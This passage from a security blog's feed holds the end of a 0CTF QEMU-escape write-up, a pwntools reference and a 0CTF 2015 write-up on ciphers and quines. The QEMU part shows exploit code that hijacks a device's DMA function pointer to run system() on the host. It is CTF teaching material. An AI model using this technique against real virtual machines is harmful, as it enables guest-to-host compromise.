class="number">0x2FF</span>);</span><br><span class="line">  <span class="keyword">if</span> ( opaque-&gt;dma_state-&gt;cmd == <span class="number">1</span> )</span><br><span class="line">    vdd_raise_irq(opaque, <span class="number">0x100</span>u);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Becasue the QEMU is launched with <code>--nographic -append &#39;console=ttyS0&#39;</code>, so we can simply invoke <code>system(cmd)</code> to run a command in host machine and the output will show in console.</p><p>To invoke <code>system(cmd)</code>, We need to: </p><ol><li>set <code>opaque-&gt;dma_state-&gt;phys_mem_read</code> to <code>system</code></li><li>set <code>opaque-&gt;dma_buf</code> to <code>cmd</code></li><li>make sure <code>opaque-&gt;dma_state-&gt;cmd != 0</code>.</li></ol><p>In <code>vdd_linear_write</code>, when <code>addr == 0</code>, a buffer will be allocated with size of <code>opaque-&gt;dma_len</code>. And the data in <code>opaque-&gt;dma_state-&gt;src</code> with length of <code>opaque-&gt;dma_len</code> will be copied to <code>opaque-&gt;buf</code>, then copied to <code>opaque-&gt;dma_state-&gt;dst</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">vdd_linear_write</span><span class="params">(TencentPCIState *opaque, hwaddr addr, <span class="keyword">uint64_t</span> val, <span class="keyword">unsigned</span> <span class="keyword">int</span> size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">if</span> ( opaque-&gt;dma_state &amp;&amp; addr &lt;= <span class="number">13</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">switch</span> ( (_DWORD)((<span class="keyword">char</span> *)off_6EF324 + off_6EF324[addr]) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">if</span> ( opaque-&gt;buf )</span><br><span class="line">          g_free((rcu_head *)opaque-&gt;buf);</span><br><span class="line">        opaque-&gt;buf = (<span class="keyword">uint8_t</span> *)g_malloc0(opaque-&gt;dma_len);</span><br><span class="line">        vdd_dma_read(opaque-&gt;buf, opaque-&gt;dma_state-&gt;src, opaque-&gt;dma_len);</span><br><span class="line">        vdd_dma_write(opaque-&gt;buf, opaque-&gt;dma_state-&gt;dst, opaque-&gt;dma_len);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      ...</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">put_fake_dma</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">dma</span> <span class="title">fakedma</span>;</span></span><br><span class="line">    fakedma.cmd = <span class="number">2</span>;</span><br><span class="line">    fakedma.phys_mem_read = system_addr;</span><br><span class="line">    <span class="built_in">memcpy</span>(pbuf, (<span class="keyword">void</span> *)&amp;fakedma, <span class="keyword">sizeof</span>(fakedma));</span><br><span class="line">    set_dmalen(<span class="number">0x330</span>);</span><br><span class="line">    set_dmastate_src(virt_to_phys(pbuf));</span><br><span class="line">    set_dmastate_dst(virt_to_phys(pbuf));</span><br><span class="line">    outb(<span class="number">0</span>, VDB_PORT + <span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://i.imgur.com/tixAsK6.png" alt></p><p><a href="https://gist.github.com/Eadom/3d5600b6931fbf328ffb20f10eeb3a52" target="_blank" rel="noopener">Exploit script</a></p><p>Thanks for Atum’s help.</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;It’s a great challenge to get familiar with QEMU escape. We are going to exploit QEMU via a custom vulnerable device.&lt;/p&gt;
&lt;p&gt;You should r
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="0ctf" scheme="https://blog.eadom.net/tags/0ctf/"/>
    
      <category term="qemu" scheme="https://blog.eadom.net/tags/qemu/"/>
    
  </entry>
  
  <entry>
    <title>Pwntools Quick Reference Guide</title>
    <link href="https://blog.eadom.net/uncategorized/pwntools-quick-reference-guide/"/>
    <id>https://blog.eadom.net/uncategorized/pwntools-quick-reference-guide/</id>
    <published>2016-03-02T10:33:29.000Z</published>
    <updated>2025-11-21T12:45:50.789Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.</p></blockquote><h2 id="Context"><a href="#Context" class="headerlink" title="Context"></a>Context</h2><p>Setting the Target Architecture and OS:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">context(arch=<span class="string">'arm'</span>, os=<span class="string">'linux'</span>, endian=<span class="string">'big'</span>, log_level=<span class="string">'debug'</span>)</span><br></pre></td></tr></table></figure><h2 id="Log"><a href="#Log" class="headerlink" title="Log"></a>Log</h2><p>It’s similar to <code>logging.Logger</code>.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>log.info(<span class="string">'Hello, world!'</span>)</span><br><span class="line">[*] Hello, world!</span><br></pre></td></tr></table></figure><h2 id="Making-connections"><a href="#Making-connections" class="headerlink" title="Making connections"></a>Making connections</h2><h3 id="New-a-tube"><a href="#New-a-tube" class="headerlink" title="New a tube"></a>New a tube</h3><p>Create a tube instance from a local program or a remote conncetion.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">conn = process(<span class="string">'./pwn'</span>)</span><br><span class="line">conn = remote(<span class="string">'ftp.debian.org'</span>,<span class="number">21</span>)</span><br></pre></td></tr></table></figure><h3 id="Comunication"><a href="#Comunication" class="headerlink" title="Comunication"></a>Comunication</h3><h4 id="Send-and-recv"><a href="#Send-and-recv" class="headerlink" title="Send and recv"></a>Send and recv</h4><p>There are many functions to send or recv data via tube.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">recv(numb = <span class="number">4096</span>, timeout = default)</span><br><span class="line">recvuntil(delims, drop=<span class="literal">False</span>, timeout = default)</span><br><span class="line">recvn(numb, timeout = default)</span><br><span class="line">recvlines(numlines, keepends = <span class="literal">False</span>, timeout = default)</span><br><span class="line">recvline(keepends = <span class="literal">True</span>, timeout = default)</span><br><span class="line">recvregex(regex, exact = <span class="literal">False</span>, timeout = default)</span><br><span class="line">recvrepeat(timeout = default)  <span class="comment"># Receives data until a timeout or EOF is reached.</span></span><br><span class="line">recvall(self, timeout=Timeout.forever)  <span class="comment"># Receives data until EOF is reached.</span></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">send(data)</span><br><span class="line">sendline(line)</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">interactive()</span><br></pre></td></tr></table></figure><h4 id="Listen"><a href="#Listen" class="headerlink" title="Listen"></a>Listen</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">l = listen(port=<span class="number">2333</span>, bindaddr = <span class="string">"0.0.0.0"</span>)</span><br><span class="line">c = l.wait_for_connection()</span><br><span class="line">c.recv()</span><br></pre></td></tr></table></figure><h2 id="ELF-Manipulation"><a href="#ELF-Manipulation" class="headerlink" title="ELF Manipulation"></a>ELF Manipulation</h2><p>Stop hard-coding things! Look them up at runtime with <code>pwnlib.elf</code>.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>e = ELF(<span class="string">'/bin/cat'</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">print</span> hex(e.address) </span><br><span class="line"><span class="number">0x400000</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">print</span> hex(e.symbols[<span class="string">'write'</span>]) </span><br><span class="line"><span class="number">0x401680</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">print</span> hex(e.got[<span class="string">'write'</span>]) </span><br><span class="line"><span class="number">0x60b070</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">print</span> hex(e.plt[<span class="string">'write'</span>]) </span><br><span class="line"><span class="number">0x401680</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>e.address = <span class="number">0x0</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">print</span> hex(e.symbols[<span class="string">'write'</span>]) </span><br><span class="line"><span class="number">0x1680</span></span><br></pre></td></tr></table></figure><p>You can even patch and save the files.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>e = ELF(<span class="string">'/bin/cat'</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>e.read(e.address+<span class="number">1</span>, <span class="number">3</span>)</span><br><span class="line"><span class="string">'ELF'</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>e.asm(e.address, <span class="string">'ret'</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>e.save(<span class="string">'/tmp/quiet-cat'</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>disasm(file(<span class="string">'/tmp/quiet-cat'</span>,<span class="string">'rb'</span>).read(<span class="number">1</span>))</span><br></pre></td></tr></table></figure><h2 id="Debug-with-gdb"><a href="#Debug-with-gdb" class="headerlink" title="Debug with gdb"></a>Debug with gdb</h2><p><code>pwnlib.gdb.attach()</code> starts GDB in a <strong>new terminal</strong> and attach to target.</p><p>Target can be a process, (addr, port), or ssh channel.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">p = process(<span class="string">'./helloworld'</span>)</span><br><span class="line">gdb.attach(p, execute=<span class="string">"b *0x4000000"</span>)  <span class="comment"># execute:GDB script to run after attaching.</span></span><br><span class="line"></span><br><span class="line">gdb.attach((<span class="string">'127.0.0.1'</span>, <span class="number">8765</span>))  <span class="comment"># attach to remote gdb server</span></span><br><span class="line"></span><br><span class="line">s = ssh(host=<span class="string">'rpi'</span>, user=<span class="string">'pi'</span>)</span><br><span class="line">conn = s.process(<span class="string">'/tmp/helloworld'</span>)</span><br><span class="line">gdb.attach(conn)  <span class="comment"># start gdb on remote server via ssh</span></span><br></pre></td></tr></table></figure><p>If you want to start GDB in a split window in tmux:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">context.terminal = [<span class="string">'tmux'</span>, <span class="string">'splitw'</span>, <span class="string">'-h'</span>]</span><br><span class="line">context.terminal = [<span class="string">'tmux'</span>, <span class="string">'splitw'</span>, <span class="string">'-v'</span>]</span><br></pre></td></tr></table></figure><h2 id="Fmtstr"><a href="#Fmtstr" class="headerlink" title="Fmtstr"></a>Fmtstr</h2><p><code>pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size=&#39;byte&#39;)</code></p><p>It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from <code>context.bits</code></p><p>Parameters:    </p><ul><li>offset (int) – the first formatter’s offset you control</li><li>writes (dict) – dict with addr, value {addr: value, addr2: value2}</li><li>numbwritten (int) – number of byte already written by the printf function</li><li>write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)</li></ul><h2 id="DynELF"><a href="#DynELF" class="headerlink" title="DynELF"></a>DynELF</h2><p><code>pwnlib.dynelf</code> — Resolving remote functions using leaks</p><p>Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.</p><p>This is an example in the document:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Assume a process or remote connection</span></span><br><span class="line">p = process(<span class="string">'./pwnme'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Declare a function that takes a single address, and</span></span><br><span class="line"><span class="comment"># leaks at least one byte at that address.</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak</span><span class="params">(address)</span>:</span></span><br><span class="line">    data = p.read(address, <span class="number">4</span>)</span><br><span class="line">    log.debug(<span class="string">"%#x =&gt; %s"</span> % (address, (data <span class="keyword">or</span> <span class="string">''</span>).encode(<span class="string">'hex'</span>)))</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"><span class="comment"># For the sake of this example, let's say that we</span></span><br><span class="line"><span class="comment"># have any of these pointers.  One is a pointer into</span></span><br><span class="line"><span class="comment"># the target binary, the other two are pointers into libc</span></span><br><span class="line">main   = <span class="number">0xfeedf4ce</span></span><br><span class="line">libc   = <span class="number">0xdeadb000</span></span><br><span class="line">system = <span class="number">0xdeadbeef</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># With our leaker, and a pointer into our target binary,</span></span><br><span class="line"><span class="comment"># we can resolve the address of anything.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># We do not actually need to have a copy of the target</span></span><br><span class="line"><span class="comment"># binary for this to work.</span></span><br><span class="line">d = DynELF(leak, main)</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="literal">None</span>,     <span class="string">'libc'</span>) == libc</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="string">'system'</span>, <span class="string">'libc'</span>) == system</span><br><span class="line"></span><br><span class="line"><span class="comment"># However, if we *do* have a copy of the target binary,</span></span><br><span class="line"><span class="comment"># we can speed up some of the steps.</span></span><br><span class="line">d = DynELF(leak, main, elf=ELF(<span class="string">'./pwnme'</span>))</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="literal">None</span>,     <span class="string">'libc'</span>) == libc</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="string">'system'</span>, <span class="string">'libc'</span>) == system</span><br><span class="line"></span><br><span class="line"><span class="comment"># Alternately, we can resolve symbols inside another library,</span></span><br><span class="line"><span class="comment"># given a pointer into it.</span></span><br><span class="line">d = DynELF(leak, libc + <span class="number">0x1234</span>)</span><br><span class="line"><span class="keyword">assert</span> d.lookup(<span class="string">'system'</span>)      == system</span><br></pre></td></tr></table></figure><h2 id="Utility"><a href="#Utility" class="headerlink" title="Utility"></a>Utility</h2><h3 id="Generation-of-unique-sequences"><a href="#Generation-of-unique-sequences" class="headerlink" title="Generation of unique sequences"></a>Generation of unique sequences</h3><p><code>pwnlib.util.cyclic.cyclic(length = None, alphabet = string.ascii_lowercase, n = 4)</code></p><p><code>pwnlib.util.cyclic.cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None)</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>cyclic(<span class="number">20</span>)</span><br><span class="line"><span class="string">'aaaabaaacaaadaaaeaaa'</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>cyclic(alphabet = <span class="string">"ABC"</span>, n = <span class="number">3</span>)</span><br><span class="line"><span class="string">'AAABAACABBABCACBACCBBBCBCCC'</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>cyclic_find(cyclic(alphabet = <span class="string">"ABC"</span>, n = <span class="number">3</span>)[<span class="number">3</span>:<span class="number">6</span>], alphabet = <span class="string">"ABC"</span>, n = <span class="number">3</span>)</span><br><span class="line"><span class="number">3</span></span><br></pre></td></tr></table></figure><h3 id="Assembly-and-Disassembly"><a href="#Assembly-and-Disassembly" class="headerlink" title="Assembly and Disassembly"></a>Assembly and Disassembly</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>asm(<span class="string">'mov eax, 0'</span>).encode(<span class="string">'hex'</span>)</span><br><span class="line"><span class="string">'b800000000'</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">print</span> disasm(<span class="string">'6a0258cd80ebf9'</span>.decode(<span class="string">'hex'</span>))</span><br><span class="line">   <span class="number">0</span>:   <span class="number">6</span>a <span class="number">02</span>                   push   <span class="number">0x2</span></span><br><span class="line">   <span class="number">2</span>:   <span class="number">58</span>                      pop    eax</span><br><span class="line">   <span class="number">3</span>:   cd <span class="number">80</span>                   int    <span class="number">0x80</span></span><br><span class="line">   <span class="number">5</span>:   eb f9                   jmp    <span class="number">0x0</span></span><br></pre></td></tr></table></figure><h3 id="Packing-Integers"><a href="#Packing-Integers" class="headerlink" title="Packing Integers"></a>Packing Integers</h3><p><code>p8()</code>, <code>p16()</code>, <code>p32()</code>, <code>p64()</code>, <code>u8()</code>, <code>u16()</code>, <code>u32()</code>, <code>u64()</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">import</span> struct</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>p32(<span class="number">0xdeadbeef</span>) == struct.pack(<span class="string">'I'</span>, <span class="number">0xdeadbeef</span>)</span><br><span class="line"><span class="literal">True</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>leet = <span class="string">'37130000'</span>.decode(<span class="string">'hex'</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>u32(<span class="string">'abcd'</span>) == struct.unpack(<span class="string">'I'</span>, <span class="string">'abcd'</span>)[<span class="number">0</span>]</span><br><span class="line"><span class="literal">True</span></span><br></pre></td></tr></table></figure><p><code>pwnlib.util.packing.pack/unpack(number, word_size = None, endianness = None, sign = None, **kwargs)</code></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and dev
      
    
    </summary>
    
    
      <category term="tools" scheme="https://blog.eadom.net/tags/tools/"/>
    
  </entry>
  
  <entry>
    <title>0CTF2015 Writeup</title>
    <link href="https://blog.eadom.net/writeups/0ctf-2015-writeup/"/>
    <id>https://blog.eadom.net/writeups/0ctf-2015-writeup/</id>
    <published>2015-04-02T15:59:51.000Z</published>
    <updated>2025-11-21T12:45:50.728Z</updated>
    
    <content type="html"><![CDATA[<p>没怎么做alictf，做了0ctf。渣渣又被虐了……分享下writeup……</p><h1 id="oldcrypto"><a href="#oldcrypto" class="headerlink" title="oldcrypto"></a>oldcrypto</h1><blockquote><p>Old crypto is not old enough to be broken. Notice: all in lowercase</p></blockquote><p>阅读这个是一个多表替换的密码，i两边是对称的，所以可以把i的变化去掉。这个有点类似维吉尼亚，不过代换是通过矩阵，而且是对称的。wiki下应该是<strong> 博福特密码</strong>。 解法跟维吉尼亚密码一样，wiki说有<em>卡西斯基试验</em>或者<em>弗里德曼试验</em>，重复指数的代码找不到了就用的卡西斯基试验的方法<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">def search():</span><br><span class="line">i = 0</span><br><span class="line">with open(&apos;deletei&apos;) as f:</span><br><span class="line">cipher = f.read().strip()</span><br><span class="line">while i &lt; len(cipher):</span><br><span class="line">now = cipher[i:i+3]</span><br><span class="line">find = cipher[i+3:].find(cipher[i:i+3])</span><br><span class="line">if find != -1:</span><br><span class="line">print cipher[i:i+3], find+3</span><br><span class="line">i += 1</span><br></pre></td></tr></table></figure></p><p>找出来发现很多很长的密文有重复且间隔都是20的倍数。所以猜测key是20位。 之后拆分成20组频率分析</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">def findk(src, des):</span><br><span class="line">for k in xrange(26):</span><br><span class="line">if tr[k][ord(des)-ord(&apos;a&apos;)] == ord(src)-ord(&apos;a&apos;):</span><br><span class="line">return chr(k + ord(&apos;a&apos;))</span><br><span class="line"></span><br><span class="line">def key():</span><br><span class="line">k = &apos;&apos;</span><br><span class="line">with open(&apos;split2&apos;) as f:</span><br><span class="line">for line in f:</span><br><span class="line">fre = &#123;&#125;</span><br><span class="line">line = line.strip()</span><br><span class="line">for c in line:</span><br><span class="line">if c in fre:</span><br><span class="line">fre[c] += 1</span><br><span class="line">else:</span><br><span class="line">fre[c] = 1</span><br><span class="line">sort_fre = sorted(fre.iteritems(),key=lambda fre:fre[1],reverse=True)</span><br><span class="line">k += findk(&apos;e&apos;, sort_fre[0][0])</span><br><span class="line">print k</span><br></pre></td></tr></table></figure><p>都猜测出现最高的频率的是’e’，之后算出来的key = ‘wkaszhcslciyhwrusfun’。解出来发现不对，不过感觉但是最后fun应该是对的。之后通过查看解密的文章通过手工判断（文章最后是flag，而且用了20个o方便判断）解出key = ‘classicalcipherisfun’ flag:<strong>0ctf{classicalcipherisfun}</strong></p><h1 id="BabyPolyQuine"><a href="#BabyPolyQuine" class="headerlink" title="BabyPolyQuine"></a>BabyPolyQuine</h1><blockquote><p>Different people see different me. But I am always myself. 202.112.26.114:12321 Make the output of your program exactly the same as your source code. At least 3 correct to get this flag $python2 –version Python 2.7.6 $python3 –version Python 3.4.0 $gcc –version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2 $ruby –version ruby 1.9.3p484 (2013-11-22 revision 43786) [x86_64-linux] $perl –version This is perl 5, version 18, subversion 2 (v5.18.2) built for x86_64-linux-gnu-thread-multi</p></blockquote><p>维基百科搜到一个代码通过<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#include/*</span><br><span class="line">q=&apos;&apos;&apos;*/</span><br><span class="line">main()&#123;char*_;/*=;sub _:lvalue&#123;$_&#125;&lt;&lt;q;#&apos;;&lt;&lt;q#&apos;&apos;&apos;</span><br><span class="line">def printf(a,*b):print a%b,</span><br><span class="line">q</span><br><span class="line">#*/</span><br><span class="line">_=&quot; #include/*%cq=&apos;&apos;&apos;*/%cmain()&#123;char*_;/*=;sub _:lvalue&#123;%c_&#125;&lt;&lt;q;#&apos;;&lt;&lt;q#&apos;&apos;&apos;%cdef printf(a,*b):print a%%b,%cq%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cq=&apos;&apos;&apos;*/%c&#125;//&apos;&apos;&apos;#=%c&quot;;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);</span><br><span class="line">#/*</span><br><span class="line">q=&apos;&apos;&apos;*/</span><br><span class="line">&#125;//&apos;&apos;&apos;#=</span><br></pre></td></tr></table></figure></p><p>flag:<strong>0ctf{The very moment of raising beginner’s mind is the accomplishment of true awakening itself}</strong></p><h1 id="PolyQuine"><a href="#PolyQuine" class="headerlink" title="PolyQuine"></a>PolyQuine</h1><blockquote><p>BabyPolyQuine 满足 All 5 correct required to get this flag</p></blockquote><p>上面的代码在python3会出问题，尝试加上括号，不过python3会多打一个空行。所以想办法利用不打空行的打印函数，想到stdout.write()于是<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#include/*</span><br><span class="line">q=&apos;&apos;&apos;*/</span><br><span class="line">main()&#123;char*_;/*=;sub _:lvalue&#123;$_&#125;&lt;&lt;q;#&apos;;&lt;&lt;q#&apos;&apos;&apos;</span><br><span class="line">def printf(a,*b):__import__(&apos;sys&apos;).stdout.write(a%b)</span><br><span class="line">q</span><br><span class="line">#*/</span><br><span class="line">_=&quot; #include/*%cq=&apos;&apos;&apos;*/%cmain()&#123;char*_;/*=;sub _:lvalue&#123;%c_&#125;&lt;&lt;q;#&apos;;&lt;&lt;q#&apos;&apos;&apos;%cdef printf(a,*b):__import__(&apos;sys&apos;).stdout.write(a%%b)%cq%c#*/%c_=%c%s%c;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);%c#/*%cq=&apos;&apos;&apos;*/%c&#125;//&apos;&apos;&apos;#=%c&quot;;printf(_,10,10,36,10,10,10,10,34,_,34,10,10,10,10);</span><br><span class="line">#/*</span><br><span class="line">q=&apos;&apos;&apos;*/</span><br><span class="line">&#125;//&apos;&apos;&apos;#=</span><br></pre></td></tr></table></figure></p><p>flag:<strong>0ctf{“Yields falsehood when preceded by its quotation” yields falsehood when preceded by its quotation}</strong></p><h1 id="x-y-z"><a href="#x-y-z" class="headerlink" title="x-y-z"></a>x-y-z</h1><blockquote><p>-4.751373,-2.622809,2.428588;-4.435134,-3.046589,2.406030;-4.788052,-2.661979,2.464709 -4.692748,-2.599611,2.629112;-4.656070,-2.560445,2.592991;-4.788052,-2.661979,2.464709 -4.692748,-2.599611,2.629112;-4.788052,-2.661979,2.464709;-4.435134,-3.046589,2.406030 -4.656070,-2.560445,2.592991;-4.516017,-2.714652,2.570303;-4.751373,-2.622809,2.428588 -4.656070,-2.560445,2.592991;-4.751373,-2.622809,2.428588;-4.788052,-2.661979,2.464709 -4.611258,-2.777269,2.405960;-4.435134,-3.046589,2.406030;-4.751373,-2.622809,2.428588 -4.572725,-2.644557,2.333280;-4.603014,-2.680354,2.364417;-4.592222,-2.663824,2.351891 -4.571442,-2.773632,2.381504;-4.564917,-2.826000,2.397583;-4.611258,-2.777269,2.405960 ……</p></blockquote><p>感觉应该是坐标点，加上题目x-y-z。猜测把点全部描出来会不会看到立体的flag。。。于是matlab画散点图（电脑不好真惨，把点去掉一部分画还是卡）<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">A=[</span><br><span class="line">......</span><br><span class="line">];</span><br><span 